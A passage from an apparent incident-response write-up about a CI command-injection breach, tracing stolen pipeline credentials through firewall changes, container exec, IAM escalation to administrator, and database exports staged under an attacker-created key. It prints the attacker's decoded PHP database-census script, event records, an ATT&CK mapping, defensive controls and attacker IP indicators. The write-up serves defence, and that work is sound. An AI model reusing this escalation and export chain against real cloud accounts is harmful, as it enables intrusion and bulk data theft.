    <div class="rf-gantt"><span>IONSEC investigation</span><div class="rf-lane"><i class="is-def" style="--x:92.9%;--w:6.5%"></i></div></div>
    <div class="rf-axis"><span style="--x:0%">T+0</span><span style="--x:14.3%">T+2</span><span style="--x:28.6%">T+4</span><span style="--x:42.9%">T+6</span><span style="--x:57.1%">T+8</span><span style="--x:71.4%">T+10</span><span style="--x:85.7%">T+12</span><span style="--x:100%">T+14</span></div>
  </div>
  <figcaption>Figure 4 — Every phase, on one fourteen-day axis. The two short red marks under escalation are the whole story of the account: an allow-all policy on two new roles on T+2, which the attacker's own recon containers ran under, and the provider's administrator policy on a live workload role on T+4. Everything the attacker collected ran on the second.</figcaption>
</figure>

**Day one: network and inventory.** Within half an hour of a poisoned run, the pipeline's own session name was opening database ports to an outside address. The first call failed on a malformed parameter; the next ones did not. By the end of T+2 there had been 96 ingress changes from attacker addresses, 82 of them accepted, more than half aimed straight at the database port. A second session, replayed from a residential ISP, spent a few minutes listing every DNS zone, CDN distribution and certificate in the account.

<figure class="rf rf-wide" data-reveal>
  <div class="rf-card rf-event">
    <div class="rf-event-head"><b>AuthorizeSecurityGroupIngress</b><span>management event · T+1 01:04:47Z</span></div>
    <dl>
      <dt>User name</dt><dd class="gen">GitHubActions</dd>
      <dt>Event source</dt><dd>ec2.amazonaws.com</dd>
      <dt>Access key</dt><dd>ASIA<span class="redact" style="--w:16ch"></span> <span class="gen">(temporary — a federated session)</span></dd>
      <dt>Source IP address</dt><dd>attacker host · Israeli hosting provider <span class="gen">(see appendix)</span></dd>
      <dt>Region</dt><dd><span class="redact" style="--w:9ch"></span></dd>
      <dt>Error code</dt><dd class="is-red">Client.InvalidParameterValue</dd>
      <dt>Read-only</dt><dd>false</dd>
    </dl>
  </div>
  <figcaption>Figure 5 — The first attacker action in the cloud account, re-set from the console view with identifiers removed. The user name is the default session name the credentials action gives every pipeline run; nothing in the event says "not the pipeline" except the source address.</figcaption>
</figure>

<figure class="rf rf-wide" data-reveal>
  <div class="rf-card rf-phases">
    <p class="rf-eyebrow">Ingress changes from attacker addresses, by port · 96 calls, 82 accepted</p>
    <div class="rf-row" style="--c:#e63946">
      <span class="rf-name">3306 · database</span>
      <span class="rf-holds"><span class="rf-track"><span class="rf-bar" style="--w:100%;--c:#e63946"></span></span></span>
      <span class="rf-count">53</span>
    </div>
    <div class="rf-row" style="--c:#e63946">
      <span class="rf-name">80–443 · web</span>
      <span class="rf-holds"><span class="rf-track"><span class="rf-bar" style="--w:58%;--c:#e63946"></span></span></span>
      <span class="rf-count">31</span>
    </div>
    <div class="rf-row" style="--c:#e63946">
      <span class="rf-name">22–443 · range</span>
      <span class="rf-holds"><span class="rf-track"><span class="rf-bar" style="--w:17%;--c:#e63946"></span></span></span>
      <span class="rf-count">9</span>
    </div>
    <div class="rf-row" style="--c:#e63946">
      <span class="rf-name">22 · ssh</span>
      <span class="rf-holds"><span class="rf-track"><span class="rf-bar" style="--w:6%;--c:#e63946"></span></span></span>
      <span class="rf-count">3</span>
    </div>
  </div>
  <figcaption>Figure 6 — Network access opened toward attacker addresses, counted per API call. More than half targeted the database port directly. One further rule on an application port appears in the client's remediation record and was revoked during containment. The rules existed; whether any host was reached through them is a host-log question this engagement could not answer.</figcaption>
</figure>

**Day two: into the containers.** The orchestrator exposes an administrative API that opens a shell in a container that is already running, and the deploy role was allowed to call it. From T+2 the attacker opened shells inside live production containers — the same containers serving customer traffic. They also re-launched the production services with exec switched on, and registered "recon" task definitions built from the client's own container image and named in the client's own naming convention, then ran thirteen of them. From the platform's point of view, an operator was debugging.

<figure class="rf rf-wide" data-reveal>
  <div class="rf-card rf-event">
    <div class="rf-event-head"><b>RegisterTaskDefinition</b><span>management event · T+2 19:11:59Z</span></div>
    <dl>
      <dt>User name</dt><dd class="gen">GitHubActions</dd>
      <dt>Event source</dt><dd>ecs.amazonaws.com</dd>
      <dt>Source IP address</dt><dd>attacker host · main operator <span class="gen">(see appendix)</span></dd>
      <dt>Resource referenced</dt><dd>task-definition/<span class="redact" style="--w:9ch"></span>-recon-<span class="redact" style="--w:7ch"></span>e:1</dd>
      <dt>Task role</dt><dd>a role created that afternoon <span class="is-red">(carrying the attacker's allow-all policy)</span></dd>
      <dt>Image</dt><dd>the client's own registry image for a production web tier</dd>
      <dt>Environment</dt><dd>database host, user, port and password variables <span class="is-red">(root credentials, in plaintext)</span></dd>
    </dl>
  </div>
  <figcaption>Figure 7 — A recon container definition, as recorded. The prefix is the client's own; the attacker named their tooling to blend into the service list. One revision carried the database root credentials as plain environment variables; every one that ran was given the allow-all role described below.</figcaption>
</figure>

<figure class="rf rf-wide" data-reveal>
  <div class="rf-card rf-phases">
    <p class="rf-eyebrow">Exec calls into live production containers, per day (UTC) · 329 calls, 269 opened a session</p>
    <div class="rf-row" style="--c:#e63946">
      <span class="rf-name">T+2</span>
      <span class="rf-holds"><span class="rf-track"><span class="rf-bar" style="--w:53%;--c:#e63946"></span></span></span>
      <span class="rf-count">70</span>
    </div>
    <div class="rf-row" style="--c:#e63946">
      <span class="rf-name">T+3</span>
      <span class="rf-holds"><span class="rf-track"><span class="rf-bar" style="--w:95%;--c:#e63946"></span></span></span>
      <span class="rf-count">126</span>
    </div>
    <div class="rf-row" style="--c:#e63946">
      <span class="rf-name">T+4</span>
      <span class="rf-holds"><span class="rf-track"><span class="rf-bar" style="--w:100%;--c:#e63946"></span></span></span>
      <span class="rf-count">132</span>
    </div>
    <div class="rf-row" style="--c:#e63946">
      <span class="rf-name">T+5</span>
      <span class="rf-holds"><span class="rf-track"><span class="rf-bar" style="--w:1%;--c:#e63946"></span></span></span>
      <span class="rf-count">1</span>
    </div>
  </div>
  <figcaption>Figure 8 — Exec calls by day, from the management event log. Sixty were refused (a container that had already stopped, or a malformed request), which is how an operator working by hand looks. The peak is T+4, the day administrator rights landed on the workload role.</figcaption>
</figure>

**Day two, afternoon: an administrator in all but name.** The deploy role could not write an inline policy onto a role, but it could create a managed one. At T+2 14:47 the pipeline's session created a customer-managed policy whose single statement allowed every action on every resource, and attached it to a new role that any principal in the account could assume. Three hours later it created a second role, trusted by the container service as well, attached the same policy, and launched the recon containers with it as their task role; all thirteen that ran held it. From that evening on, containers the attacker started carried administrator-equivalent credentials. No management call signed by either role's session appears in the event history, so what the recon containers did with those credentials is not on record. Both roles stayed in the account until containment on T+9. Because the policy was the attacker's own rather than the provider's managed administrator policy, a rule keyed on that one policy name would never have seen it.

**Day four: the escalation that mattered.** In twenty-one minutes on T+4, the pipeline's session created a helper role it could assume, attached the provider's managed administrator policy to it, then attached the same administrator policy to the role the production containers were already running under — and deleted the helper role four seconds later.

The T+2 roles gave the attacker administrator rights inside containers of their own. The T+4 attachment gave administrator rights to the application's identity, and that is what the rest of the incident ran on. A pipeline session expires in an hour. A policy attached to a long-lived workload role does not. Policies are evaluated on every request, so credentials the role had already issued became administrator credentials as soon as the change propagated, which in IAM takes seconds to minutes. A new session was not needed. Thirty-eight minutes later the first call signed with a production container's own role session appears in the log — credentials that can only have come from inside a running container, where the platform hands them to the application. That first call was itself a shell into a container of the second production service. From that moment every snapshot, export, key and user in this story was created by the application's own identity.

<figure class="rf rf-wide" data-reveal>
  <div class="rf-card rf-event">
    <div class="rf-event-head"><b>ExecuteCommand</b><span>management event · T+4 17:19:45Z</span></div>
    <dl>
      <dt>Event source</dt><dd>ecs.amazonaws.com</dd>
      <dt>Source IP address</dt><dd>attacker host · main operator <span class="gen">(see appendix)</span></dd>
      <dt>User agent</dt><dd>aws-cli/2.37.9 md/awscrt#0.37.0 ua/2.1 os/windows#10 md/arch#amd64 lang/python#3.14.6</dd>
      <dt>cluster</dt><dd><span class="redact" style="--w:9ch"></span></dd>
      <dt>container</dt><dd><span class="redact" style="--w:9ch"></span>-php-fpm</dd>
      <dt>command</dt><dd class="is-red">sh -c 'echo PD9waHAK<span class="redact" style="--w:22ch"></span>…'</dd>
      <dt>interactive</dt><dd>true</dd>
    </dl>
  </div>
  <figcaption>Figure 9 — The opening command of an exec session is recorded, even when what follows is not. This one carried a base64-encoded PHP script; <code>PD9waHAK</code> is <code>&lt;?php</code> plus a newline. The user agent is the attacker's own workstation, not the pipeline.</figcaption>
</figure>

Decoded, and with the host and account generalised, the script was a database census run with the root account whose password the container already held in its environment:

```php
<?php
$pw = getenv('<DB_PASSWORD_VAR>');          // read from the container's own environment
$h  = '<writer-endpoint>';
$u  = '<root-user>';
$d  = new PDO("mysql:host=$h;port=3306;dbname=mysql", $u, $pw, [PDO::ATTR_TIMEOUT => 10]);
$dbs = $d->query("SHOW DATABASES")->fetchAll(PDO::FETCH_COLUMN, 0);
echo "DATABASES_FOUND: " . count($dbs) . "\n";
foreach ($dbs as $db) {
  if (in_array($db, ['information_schema','mysql','performance_schema','sys'])) continue;
  $mb = $d->query("SELECT ROUND(SUM(data_length+index_length)/1024/1024,2)
                   FROM information_schema.tables WHERE table_schema='$db'")->fetchColumn();
  // … size every tenant schema, then choose what to take
```

The database's own error log tells the rest of that hour. At the second the exec session opened, a root login arrived from the container's private address with no password; the next one had the right one. Over the following twenty minutes that root session issued 698 schema changes across 682 tenant tables — consistent with the application's own migration command run from inside the container — and every one failed on a row-size limit. No schema change persisted. The session was dropped at 17:46. The reads themselves are not in the error log, and the database audit log for that window had already aged out.


## Six days, in six moves

| Phase | What we could prove | What we could not |
| --- | --- | --- |
| Credential theft | The session was posted out of the runner in 160 runs, to 22 collector tokens | What the attacker did with each token's contents, and when |
| Network staging | 96 ingress changes toward attacker addresses, 82 accepted: database, web, SSH | Whether any host was reached through them |
| Hands-on access | 329 exec calls into live production containers, 269 of which opened a session; the opening command of each is recorded | What was typed once a session was open |
| Escalation and persistence | An allow-all policy on two new roles (T+2); the administrator policy on the live workload role (T+4); a new user with administrator rights and long-lived keys | Whether other accounts in the organisation were touched |
| Collection | Four snapshots, 13 export calls of which four succeeded, one attacker-created key, 39 table exports covering 38 tables (one exported twice) | Whether any staged data was downloaded |
| Anti-forensics | Point-in-time recovery enabled, used and disabled; snapshots and the export role deleted | Who removed the largest export, and when |

## The export chain is the part to memorise

Cloud database export is a three-step primitive, and each step is individually legitimate:

1. Snapshot the cluster.
2. Start an export task that writes the snapshot to object storage as Parquet.
3. Read the objects.

The attacker ran that chain against every production cluster. They created an export role for the purpose and rewrote its policy as each attempt failed on a missing permission. The first attempt named the client's own encryption key and was rejected; thirty-eight seconds later the attacker created a customer-managed key of their own, and the fifth attempt succeeded under it. Three more clusters followed that night. The pipeline's role tried to start those exports itself and was refused; the workload role, now an administrator, started them a minute later.

<figure class="rf rf-wide" data-reveal>
  <div class="rf-card rf-phases">
    <p class="rf-eyebrow">Data exported under the attacker's key · ≈3 TB · all treated as compromised</p>
    <div class="rf-row" style="--c:#e63946">
      <span class="rf-name">Cluster A</span>
      <span class="rf-holds"><span class="rf-track"><span class="rf-bar" style="--w:100%;--c:#e63946"></span></span></span>
      <span class="rf-count">≈2.5 TB</span>
    </div>
    <div class="rf-row" style="--c:#7c9cff">
      <span class="rf-name">Cluster B</span>
      <span class="rf-holds"><span class="rf-track"><span class="rf-bar" style="--w:13%;--c:#7c9cff"></span></span> <span class="text-[12px]" style="color:#9fb3ff">no longer in the bucket · removal unattributed</span></span>
      <span class="rf-count">≈320 GB</span>
    </div>
    <div class="rf-row" style="--c:#e63946">
      <span class="rf-name">Cluster C</span>
      <span class="rf-holds"><span class="rf-track"><span class="rf-bar" style="--w:4%;--c:#e63946"></span></span></span>
      <span class="rf-count">≈100 GB</span>
    </div>
    <div class="rf-row" style="--c:#e63946">
      <span class="rf-name">Cluster D</span>
      <span class="rf-holds"><span class="rf-track"><span class="rf-bar" style="--w:4%;--c:#e63946"></span></span></span>
      <span class="rf-count">≈100 GB</span>
    </div>
    <div class="rf-row" style="--c:#e63946">
      <span class="rf-name">38 key-value tables</span>
      <span class="rf-holds"><span class="rf-track"><span class="rf-bar" style="--w:1%;--c:#e63946"></span></span></span>
      <span class="rf-count">≈10 GB</span>
    </div>
  </div>
  <figcaption>Figure 10 — The export inventory as it stood when the engagement closed, rounded. Red is still staged in the client's bucket under the attacker's key; blue completed and is gone. One cluster accounts for more than four fifths of everything taken out of the databases. The 38 tables include every audit-log table.</figcaption>
</figure>

That detail is the whole point of the phase. The data landed in the client's own bucket, in the client's own account, visible in the client's own inventory, and unreadable without a key the attacker created. A responder who deletes the objects before re-encrypting them destroys the evidence and keeps nothing. A responder who disables the key before re-encrypting destroys it twice.

Cluster B's export — the second largest — completed and is no longer in the bucket. There are no object versions, no delete markers and no access logs to say who removed it or when. The attacker deleted their snapshots and their export role the next morning, which makes them the obvious candidate; the client's own clean-up during containment is another. **We do not know**, and the post-incident position is the only defensible one: every exported dataset is treated as taken.

Then the quietest move of the engagement. Point-in-time recovery was switched on for 38 key-value tables — it is a prerequisite for exporting them — the tables were exported, and about ten hours later recovery was switched off again on all 38. Both bands are attributable to attacker-held identities; no legitimate operator appears on any of those events. The export took the business data. The disable took the ability to restore it.

## Three controls were off. That is the incident.

Every phase above wrote to the cloud management event log. All of it was there. What was not there is everything that would have made the log answer the two questions that matter: *what did they take*, and *when did it start*.

- **The threat detector was disabled.** It existed and had been off for longer than the event history reaches. So there is no finding set to review, and no way to date when it was switched off. The attacker checked: one of their last calls lists the account's detectors.
- **No access logging on the staging bucket.** Object-level reads left no record on the bucket side.
- **No audit data events for object reads.** Management events recorded the snapshot, the export task and the role changes. They did not record a single `GetObject`. About 3 TB was staged, and nothing that would show it being read exists.

A fourth limit is not a control but shaped the investigation: management-event history reaches back 90 days, one region at a time, and never contains data events. The organisation trail's archive, which could have held anything older or anything else it was configured to record, sat behind a permission this engagement did not hold. That is part of why the time the largest export disappeared is unknown.

<figure class="rf rf-wide" data-reveal>
  <div class="rf-card rf-planes">
    <p class="rf-eyebrow">Telemetry in the account · at report time</p>
    <div class="rf-row" style="--c:#4ade80">
      <span class="rf-name">Management events</span>
      <span class="rf-holds">Every state change in the window was recorded and attributed</span>
      <span class="rf-meta"><b>25,062 events · 90 days</b></span>
    </div>
    <div class="rf-row" style="--c:#4ade80">
      <span class="rf-name">Runner + service logs</span>
      <span class="rf-holds">The payload, the POST egress and the expanded steps were all on disk</span>
      <span class="rf-meta"><b>3 run logs · 329 exec records</b></span>
    </div>
    <div class="rf-row" style="--c:#e63946">
      <span class="rf-name">Threat detector</span>
      <span class="rf-holds">Disabled for longer than the event history; the switch-off is undatable</span>
      <span class="rf-meta"><b>disabled</b></span>
    </div>
    <div class="rf-row" style="--c:#e63946">
      <span class="rf-name">Object-read data events</span>
      <span class="rf-holds">Staged exports were readable with no record</span>
      <span class="rf-meta"><b>not recorded</b></span>
    </div>
    <div class="rf-row" style="--c:#e63946">
      <span class="rf-name">Object access logging</span>
      <span class="rf-holds">The staging bucket kept no access log</span>
      <span class="rf-meta"><b>absent</b></span>
    </div>
    <div class="rf-row" style="--c:#e63946">
      <span class="rf-name">Host authentication logs</span>
      <span class="rf-holds">Outside the authorised scope for this engagement</span>
      <span class="rf-meta"><b>not collected</b></span>
    </div>
  </div>
  <figcaption>Figure 11 — Telemetry at report time. Green: what existed. Red: what did not, or was outside scope. The split is the whole detection story: every state change had a witness; nothing that read data did.</figcaption>
</figure>

The pattern generalises: **state changes are visible by default; data reads are not.** Most cloud accounts are instrumented to answer "who changed this", and almost none are instrumented to answer "who read this". An intrusion whose entire objective is reading will therefore be visible only at its edges — the snapshot, the export task, the new key — and invisible at its centre.

<figure class="rf rf-wide" data-reveal>
  <div class="rf-stats">
    <div class="rf-stat"><b>25,062</b><span>management events parsed from the 90-day history</span></div>
    <div class="rf-stat"><b>1,352</b><span>events flagged to attacker-held identities</span></div>
    <div class="rf-stat"><b>~3,900</b><span>database log files read during collection</span></div>
    <div class="rf-stat"><b class="is-red">4,889</b><span>failed findings at assessment, across 414 checks, 13 critical</span></div>
  </div>
  <figcaption>The collection behind this write-up, as recorded when the engagement closed.</figcaption>
</figure>

## What we could not prove

Four things, stated plainly, because an investigation that cannot name its own limits is marketing:

- **Who or what poisoned the record.** Run history brackets the write to before the first poisoned run. The application logs and database audit trail that would name the session were outside the authorised scope.
- **Whether any staged data was downloaded.** No access logs, no data events. Three exports still sitting in the bucket suggest the attacker either had not finished or did not need to; the missing one proves nothing on its own.
- **Who removed the largest-but-one export, and when.** No versions, no delete markers, no logs.
- **Whether any host was reached over the opened SSH and database rules.** Host authentication logs were not collected in this engagement. The rules existed, the source addresses are known, and the answer lives in logs we did not hold.

<figure class="rf rf-wide" data-reveal>
  <div class="rf-card">
    <p class="rf-eyebrow">Attack chain · from a poisoned record to multi-terabyte staging</p>
    <div class="rf-chain">
      <div style="--i:0"><h4>Poisoned record</h4><span class="tac">Initial access</span><p>A business record carries a command substitution after a genuine id</p><span class="when">≤ T+0</span></div>
      <div style="--i:1"><h4>CI command injection</h4><span class="tac">Execution</span><p>The dispatch input is expanded into shell steps; it runs in 160 of 191 pipeline runs</p><span class="when">T+0 → T+5</span></div>
      <div style="--i:2" class="is-pivot"><h4>Credential theft</h4><span class="tac">Credential access</span><p>The deploy role's one-hour session is posted to 22 rotating collectors</p><span class="when">T+0 → T+5</span></div>
      <div style="--i:3"><h4>Foothold and hands-on access</h4><span class="tac">Defense impairment · Execution</span><p>96 firewall changes, 329 exec calls into live containers, recon containers from the client's own image</p><span class="when">T+1 → T+5</span></div>
      <div style="--i:4" class="is-pivot"><h4>Privilege escalation</h4><span class="tac">Privilege escalation</span><p>Allow-all roles for the attacker's containers, then the administrator policy on the live workload role, its session used from outside</p><span class="when">T+2 → T+4</span></div>
      <div style="--i:5" class="is-pivot"><h4>Collection and staging</h4><span class="tac">Collection</span><p>Four clusters and 38 tables exported to the client's own bucket under an attacker key</p><span class="when">T+4 → T+5</span></div>
      <div style="--i:6" class="is-pivot"><h4>Persistence</h4><span class="tac">Persistence</span><p>Two allow-all roles assumable account-wide, then a user named like a backup integration with administrator rights and a long-lived key</p><span class="when">T+2 → T+9</span></div>
      <div style="--i:7"><h4>Anti-recovery</h4><span class="tac">Stealth · Impact</span><p>Snapshots and roles deleted; point-in-time recovery switched off on 38 tables</p><span class="when">T+5</span></div>
    </div>
  </div>
  <figcaption>Figure 12 — The eight steps, with the ATT&amp;CK tactic each falls under. Red numbers are the pivotal steps; a pulse walks the chain in the order the telemetry proved, not a template.</figcaption>
</figure>

<figure class="rf rf-wide" data-reveal>
  <div class="rf-card rf-phases">
    <p class="rf-eyebrow">The chain · and where it breaks</p>
    <div class="rf-row" style="--c:#e63946">
      <span class="rf-name">Poisoned record</span>
      <span class="rf-holds">A portal field carries the payload; nothing validates it at write time</span>
      <span class="rf-count">—</span>
    </div>
    <div class="rf-row" style="--c:#e63946">
      <span class="rf-name">Unattended dispatch</span>
      <span class="rf-holds">Retries re-send the record, so 160 runs inherit it without a second push</span>
      <span class="rf-count">—</span>
    </div>
    <div class="rf-row" style="--c:#7c9cff">
      <span class="rf-name">Interpolation</span>
      <span class="rf-holds">The expression is expanded into the generated script before bash parses it</span>
      <span class="rf-count">1</span>
    </div>
    <div class="rf-row" style="--c:#7c9cff">
      <span class="rf-name">Shell execution</span>
      <span class="rf-holds">Command substitution runs with the job's own identity</span>
      <span class="rf-count">1</span>
    </div>
    <div class="rf-row" style="--c:#7c9cff">
      <span class="rf-name">Role grant</span>
      <span class="rf-holds">Any run reaching the environment mints a one-hour session — and the environment name was itself an input</span>
      <span class="rf-count">2</span>
    </div>
    <div class="rf-row" style="--c:#7c9cff">
      <span class="rf-name">Replay and breadth</span>
      <span class="rf-holds">The session is used off-cloud against a role that can write policies and attach them to other roles</span>
      <span class="rf-count">3</span>
    </div>
    <div class="rf-row" style="--c:#7c9cff">
      <span class="rf-name">Export</span>
      <span class="rf-holds">Snapshot, export, re-encrypt under a key the defender cannot use</span>
      <span class="rf-count">4</span>
    </div>
  </div>
  <figcaption>Figure 13 — The number on the right is the control, below, that breaks that link. Two links have none: the record write lives in the application, and the dispatch behaviour is the application's design.</figcaption>
</figure>

## The four controls that break the chain

Each of these stops the attack at a different link. The first three would each have ended it early; the fourth would have made the collection visible even if everything else failed.

**1. Never interpolate an input into a shell.** Put it in the environment, then validate it, then use it. This is the pattern GitHub's own hardening guidance calls the intermediate environment variable:

```yaml
- name: Apply record change
  env:
    RECORD_ID: ${{ inputs.record_id }}
    ACTION: ${{ inputs.action }}
  run: |
    set -euo pipefail
    case "$ACTION" in
      enable|disable) ;;
      *) echo "action must be enable or disable" >&2; exit 1 ;;
    esac
    case "$RECORD_ID" in
      ''|*[!0-9]*) echo "record_id must be numeric" >&2; exit 1 ;;
    esac
    ./bin/apply-change --action "$ACTION" --record-id "$RECORD_ID"
```

The indirection stops execution. The `case` statements are not redundant: they stop the value from being reinterpreted by the tool it is passed to, and they fail loudly instead of silently building a path out of a string. Validate against an allow-list where one exists — an operation enum, a status enum — and against a shape where one does not. The same applies to `actions/github-script`: pass inputs through `env:` and read `process.env`, never `${{ }}` inside `script:`.

**2. Make the production role unreachable without a person.** A branch condition in the trust policy would not have helped here: every dispatch ran from the default branch, so the attacker's runs carried exactly the ref a policy would allow. What would have helped is a required reviewer on the production environment, so that no unattended run can ever mint the role — and since the environment name came from an input, the environment choice itself must not be an input: whoever controls the name can also point the job at an environment with no reviewer, or, with an empty value, at no environment at all. Check your plan first: on GitHub Free, Pro and Team, required reviewers exist only for public repositories, and a private repository needs Enterprise for them. Where they are unavailable, the pinned workflow and the narrow role below carry the whole load. Then pin the trust to the workflow, not just the environment: customise the OIDC subject claim to include `job_workflow_ref` and require it in the trust policy, so only the one workflow that needs the role can assume it. If a business automation genuinely must deploy without a human, give it its own narrow role that cannot touch IAM.

<figure class="rf rf-wide" data-reveal>
  <div class="rf-card rf-planes">
    <p class="rf-eyebrow">Same repository · two trust boundaries</p>
    <div class="rf-row" style="--c:#e63946">
      <span class="rf-name">As configured</span>
      <span class="rf-holds">repo:&lt;org&gt;/&lt;repo&gt;:environment:production — every workflow in that repository that reaches the environment can mint it</span>
      <span class="rf-meta"><b>One poisoned dispatch is enough</b></span>
    </div>
    <div class="rf-row" style="--c:#7c9cff">
      <span class="rf-name">Pinned</span>
      <span class="rf-holds">The same subject plus <code>job_workflow_ref</code> for the one workflow that deploys, a fixed environment name, and a required reviewer standing on the environment</span>
      <span class="rf-meta"><b>No unattended run ever holds it</b></span>
    </div>
  </div>
  <figcaption>Figure 14 — A trust policy that names only the environment is a policy for "anyone in this repository". The reviewer is not a formality; it is what makes the role unreachable without a human present.</figcaption>
</figure>

**3. Give each workflow its own role.** The role that applies a record change should not be able to create roles, attach managed policies, open security groups and exec into containers. The blast radius of a stolen token is exactly the permission set of the role it mints, and that set is a design decision, not an accident. In this case two permissions — writing a managed policy and attaching it to a role — turned a one-hour token into a permanent administrator.

**4. Make exports loud.** Enable object access logging and audit data events on every bucket that can receive a database export. Turn the detector on. Then alert on the primitives themselves, because they have almost no legitimate spontaneous use: snapshot creation, export task start, customer-managed key creation, point-in-time recovery switched off, any policy that grants every action on every resource, whoever wrote it, and an administrator policy attached to a role that is currently serving traffic.

Those last two alerts are the highest-value lines in this whole post. In this engagement the first would have fired at T+2 14:47, two days before the workload role was touched; the second at T+4 16:41, an hour before the first export. Match on what a policy grants, not on its name: the T+2 policy was the attacker's own, and a rule that only watches for the provider's administrator policy misses it.

## If you run this pattern, check these five things today

1. Scan `.github/workflows` with [`gha-injection-detector`](/tooling/gha-injection-detector). It flags every expression that lands inside a `run:` block or a github-script `script:`, and separately flags the unattended-trigger + environment + injectable-step chain that made this one critical. Fourteen sinks in one repository is not unusual; that is two workflows.
2. For each role your pipelines assume, read the trust policy's `sub` condition. If it names an environment and nothing that identifies the workflow, every workflow in that repository that reaches the environment can mint it — and if the environment is chosen by an input, so can a dispatch. Repositories created, renamed or transferred after 15 July 2026 emit a subject that carries numeric organisation and repository IDs; the same question applies to it.
3. List which pipeline roles can attach policies, create roles, exec into containers, snapshot, export or create keys. If a role that untrusted input can reach is on that list, that is the finding.
4. Confirm a detector is enabled and has produced findings in the last seven days. An empty findings page is not a clean account; it may be a disabled detector.
5. Confirm object-read data events are recorded on the buckets that receive backups and exports. If they are not, you cannot answer "what did they take" — only "what did they stage".

## How this maps to ATT&CK

Twenty-six techniques are confirmed by log evidence and five are assessed. Solid tiles are confirmed; dashed tiles are assessed from the shape of the activity rather than a specific record.

<figure class="rf rf-wide" data-reveal>
  <div class="rf-card">
    <p class="rf-eyebrow">MITRE ATT&amp;CK v20 · Enterprise · cloud and container platforms · 31 techniques</p>
    <div class="rf-attack">
      <section><h5>Resource development <small>2</small></h5><ul>
        <li style="--i:0"><b>T1583.006</b>Web Services</li>
        <li style="--i:1" class="is-assessed"><b>T1583.003</b>Virtual Private Server</li></ul></section>
      <section><h5>Initial access <small>2</small></h5><ul>
        <li style="--i:2" class="is-assessed"><b>T1190</b>Exploit Public-Facing Application</li>
        <li style="--i:3"><b>T1078.004</b>Valid Accounts: Cloud Accounts</li></ul></section>
      <section><h5>Execution <small>4</small></h5><ul>
        <li style="--i:4"><b>T1059.004</b>Unix Shell</li>
        <li style="--i:5"><b>T1059</b>Command and Scripting Interpreter (PHP, Perl)</li>
        <li style="--i:6"><b>T1609</b>Container Administration Command</li>
        <li style="--i:7"><b>T1610</b>Deploy Container</li></ul></section>
      <section><h5>Persistence <small>2</small></h5><ul>
        <li style="--i:8"><b>T1136.003</b>Create Account: Cloud Account</li>
        <li style="--i:9"><b>T1098.001</b>Additional Cloud Credentials</li></ul></section>
      <section><h5>Privilege escalation <small>1</small></h5><ul>
        <li style="--i:10"><b>T1098.003</b>Additional Cloud Roles</li></ul></section>
      <section><h5>Stealth <small>2</small></h5><ul>
        <li style="--i:11"><b>T1036.010</b>Masquerade Account Name</li>
        <li style="--i:12"><b>T1070</b>Indicator Removal</li></ul></section>
      <section><h5>Defense impairment <small>2</small></h5><ul>
        <li style="--i:13"><b>T1686.001</b>Disable or Modify System Firewall: Cloud Firewall</li>
        <li style="--i:14"><b>T1578.001</b>Create Snapshot</li></ul></section>
      <section><h5>Credential access <small>4</small></h5><ul>
        <li style="--i:16"><b>T1528</b>Steal Application Access Token</li>
        <li style="--i:17"><b>T1552.005</b>Cloud Instance Metadata API (closest fit for the container credentials endpoint)</li>
        <li style="--i:18"><b>T1552.001</b>Credentials in Files</li>
        <li style="--i:19"><b>T1552</b>Unsecured Credentials (environment)</li></ul></section>
      <section><h5>Discovery <small>4</small></h5><ul>
        <li style="--i:20"><b>T1087.004</b>Cloud Account Discovery</li>
        <li style="--i:21"><b>T1518.001</b>Security Software Discovery</li>
        <li style="--i:22"><b>T1046</b>Network Service Discovery</li>
        <li style="--i:23" class="is-assessed"><b>T1580</b>Cloud Infrastructure Discovery</li></ul></section>
      <section><h5>Lateral movement <small>1</small></h5><ul>
        <li style="--i:15"><b>T1550.001</b>Application Access Token</li></ul></section>
      <section><h5>Collection <small>3</small></h5><ul>
        <li style="--i:24"><b>T1213.006</b>Databases</li>
        <li style="--i:25"><b>T1074.002</b>Remote Data Staging</li>
        <li style="--i:26" class="is-assessed"><b>T1530</b>Data from Cloud Storage</li></ul></section>
      <section><h5>Command and control <small>1</small></h5><ul>
        <li style="--i:27"><b>T1090.001</b>Internal Proxy</li></ul></section>
      <section><h5>Exfiltration <small>2</small></h5><ul>
        <li style="--i:28"><b>T1567.004</b>Exfiltration Over Webhook</li>
        <li style="--i:29" class="is-assessed"><b>T1537</b>Transfer Data to Cloud Account</li></ul></section>
      <section><h5>Impact <small>1</small></h5><ul>
        <li style="--i:30"><b>T1490</b>Inhibit System Recovery</li></ul></section>
    </div>
  </div>
  <figcaption>Figure 15 — Every technique the case maps to. The two that matter most for defenders sit in different columns: T1528, the token leaving the runner, and T1098.003, the administrator policy on a live role. Detect either and the rest of the matrix does not happen.</figcaption>
</figure>

## What this changes about how we read CI logs

The usual post-incident question is whether an attacker got into the pipeline. Here they did not need to. They got into a *record*, and the pipeline did what it was told, with an identity that was too broad, for longer than it needed, and with no one watching what it read.

The pipeline was not compromised. It was trusted. That is a different problem, and a harder one, because nothing in it is broken.

## Appendix: indicators

Shared so other defenders can look for the same operator. These addresses are hosting, residential and VPN infrastructure; treat them as leads for the window, not as standing blocks, and expect reuse by unrelated parties.

<figure class="rf rf-wide" data-reveal>
  <div class="rf-card rf-phases">
    <p class="rf-eyebrow">Attacker source addresses · management events in the window</p>
    <div class="rf-row" style="--c:#e63946">
      <span class="rf-name">68.220.60.229</span>
      <span class="rf-holds"><span class="rf-track"><span class="rf-bar" style="--w:100%;--c:#e63946"></span></span> <span class="text-[12px] text-ionsec-text-dim">US residential ISP · replayed pipeline session, DNS / CDN / certificate inventory</span></span>
      <span class="rf-count">552</span>
    </div>
    <div class="rf-row" style="--c:#e63946">
      <span class="rf-name">72.251.215.27</span>
      <span class="rf-holds"><span class="rf-track"><span class="rf-bar" style="--w:96%;--c:#e63946"></span></span> <span class="text-[12px] text-ionsec-text-dim">IL hosting range · main operator: exec, escalation, exports, backdoor</span></span>
      <span class="rf-count">529</span>
    </div>
    <div class="rf-row" style="--c:#e63946">
      <span class="rf-name">72.251.215.5</span>
      <span class="rf-holds"><span class="rf-track"><span class="rf-bar" style="--w:10%;--c:#e63946"></span></span> <span class="text-[12px] text-ionsec-text-dim">same range · second export round, table exports, recovery toggles</span></span>
      <span class="rf-count">56</span>
    </div>
    <div class="rf-row" style="--c:#e63946">
      <span class="rf-name">72.251.215.4</span>
      <span class="rf-holds"><span class="rf-track"><span class="rf-bar" style="--w:2.4%;--c:#e63946"></span></span> <span class="text-[12px] text-ionsec-text-dim">same range · early firewall changes</span></span>
      <span class="rf-count">13</span>
    </div>
    <div class="rf-row" style="--c:#e63946">
